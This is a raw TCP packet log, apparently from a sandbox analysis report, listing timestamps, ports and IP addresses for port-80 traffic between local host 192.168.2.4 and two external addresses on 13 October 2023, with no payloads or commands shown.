Oct 13, 2023 16:06:20.085813046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.085865974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.085900068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.085925102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.085957050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.085978985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.086014032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.086026907 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.086066961 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.086138964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.086173058 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.086384058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.086416960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.086483002 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.086494923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.086518049 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.086530924 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.086553097 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.086585999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.086610079 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.086643934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.086644888 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.086679935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.086793900 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.086827993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.087110043 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.087145090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.087315083 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.087362051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.087531090 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.087568045 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.087744951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.087791920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.087865114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.087902069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.087923050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.087956905 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.087985992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.088023901 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.088057995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.088093996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.144298077 CEST	80	49799	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:20.150815010 CEST	80	49799	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:20.150928974 CEST	49799	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:20.337723970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.337773085 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.337786913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.337800026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.337901115 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.337945938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.337954044 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.337985992 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.338016033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.338042974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.338054895 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.338082075 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.338102102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.338139057 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.338402033 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.338450909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.338453054 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.338496923 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.338766098 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.338808060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.339019060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.339060068 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.339119911 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.339155912 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.339359045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.339402914 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.339431047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.339468956 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.339772940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.339819908 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.339852095 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.339891911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.340256929 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.340306997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.340329885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.340373993 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.340399027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.340425014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.340442896 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.340456963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.340617895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.340660095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.340776920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.340815067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.340986967 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.341032982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.341068983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.341207027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.341300964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.341483116 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.341483116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.341525078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.341542006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.341552019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.341590881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.341658115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.341747999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.341777086 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.341794014 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.341852903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.341892004 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.341927052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.341963053 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.341988087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.342025995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.342053890 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.342093945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.342129946 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.342169046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.342173100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.342197895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.342212915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.342245102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.342304945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.342343092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.342350960 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.342389107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.342407942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.342447996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.342515945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.342551947 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.342576981 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.342612982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.342677116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.342713118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.342737913 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.342776060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.342828035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.342864990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.342895985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.342931032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.342983007 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.343022108 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.343046904 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.343085051 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.343163013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.343204021 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.343328953 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.343375921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.343545914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.343584061 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.343619108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.343657970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.343743086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.343803883 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.344403982 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.344455957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.344644070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.344686985 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.344742060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.344782114 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.344818115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.344856977 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.344862938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.344898939 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.344928980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.344955921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.344964027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.344996929 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.345021963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.345062017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.345091105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.345145941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.345149040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.345186949 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.346178055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.346221924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.346261024 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.346276999 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.346426964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.346467018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.346470118 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.346504927 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.346541882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.346580029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.346627951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.346673965 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.346817970 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.346863031 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.346946955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.346982002 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.347043037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.347081900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.347094059 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.347120047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.347130060 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.347158909 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.347183943 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.347222090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.347325087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.347362995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.347367048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.347404957 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.347426891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.347464085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.347492933 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.347531080 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.347676992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.347744942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.347769976 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.347842932 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.347851038 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.347901106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.347981930 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.348020077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.348043919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.348089933 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.348184109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.348225117 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.348299980 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.348335981 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.348371983 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.348407030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.348782063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.348820925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.348846912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.348884106 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.348953962 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.348990917 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.349107027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.349160910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.349200964 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.349237919 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.349248886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.349273920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.349334955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.349370003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.349395037 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.349432945 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.349456072 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.349493027 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.349520922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.349534988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.349555969 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.349570990 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.349581003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.349620104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.349744081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.349791050 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.349798918 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.349837065 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.349925995 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.349968910 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.349987984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.350025892 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.350425005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.350466967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.350485086 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.350524902 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.350605965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.350657940 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.350788116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.350827932 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.350954056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.350997925 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.351032972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.351070881 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.351142883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.351202011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.351291895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.351330996 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.351365089 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.351403952 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.351504087 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.351550102 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.351623058 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.351660013 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.351774931 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.351819038 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.351855040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.351902962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.352262974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.352304935 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.352324963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.352363110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.352479935 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.352535963 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.352549076 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.352590084 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.352648020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.352688074 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.352755070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.352792025 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.352816105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.352857113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.352998018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.353038073 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.353260040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.353298903 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.353310108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.353348017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.353384018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.353420973 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.353517056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.353559971 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.353596926 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.353610992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.353636026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.353650093 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.353801012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.353840113 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.353923082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.353960991 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.353980064 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.354024887 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.354113102 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.354156017 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.354181051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.354218006 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.354703903 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.354748964 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.354769945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.354806900 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.354842901 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.354880095 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.354967117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.355005026 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.355027914 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.355065107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.355088949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.355217934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.355288029 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.355371952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.355443954 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.355541945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.355627060 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.355664015 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:20.355828047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:20.355911016 CEST	80	49762	91.215.85.17	192.168.2.4
